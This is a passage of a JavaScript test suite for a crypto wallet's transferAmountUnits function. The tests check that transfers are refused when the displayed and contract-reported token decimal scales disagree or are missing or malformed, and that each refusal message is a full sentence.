test("refuses a disagreement in the other direction too", () => {
expect(() => transferAmountUnits("0.25", 18, 6n)).toThrow(
/contract reports 6 decimal places, but the amount was displayed using 18/,
);
});
test("never returns the amount at either scale on a disagreement", () => {
// The point of the refusal: both candidate encodings exist, and the
// wallet must produce neither.
let thrown = null;
try {
transferAmountUnits("0.25", 6, 18n);
} catch (e) {
thrown = e;
}
expect(thrown).toBeInstanceOf(Error);
expect(thrown.message).toMatch(/was not sent/);
});
test("refuses when the screen's scale is unknown", () => {
expect(() => transferAmountUnits("0.25", null, 6n)).toThrow(
UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
);
expect(() => transferAmountUnits("0.25", undefined, 6n)).toThrow(
UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
);
});
test("refuses when the contract's answer is not a uint8", () => {
for (const bad of [null, undefined, "", "eighteen", 6.5, -1, 256]) {
expect(() => transferAmountUnits("0.25", 6, bad)).toThrow(
UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
);
}
});
test("rejects an amount finer than the token's scale", () => {
// parseUnits' own refusal, reached only once the scales agree: a
// fractional base unit cannot be sent and must not be truncated.
expect(() => transferAmountUnits("0.0000001", 6, 6n)).toThrow();
});
test("every refusal is a full sentence", () => {
const messages = [];
for (const args of [
["0.25", 6, 18n],
["0.25", null, 6n],
["0.25", 6, "eighteen"],
]) {
try {
transferAmountUnits(...args);
} catch (e) {
messages.push(e.message);
}
}
expect(messages).toHaveLength(3);
for (const m of messages) {
expect(m).toMatch(/^[A-Z]/);
expect(m).toMatch(/\.$/);
}
});
});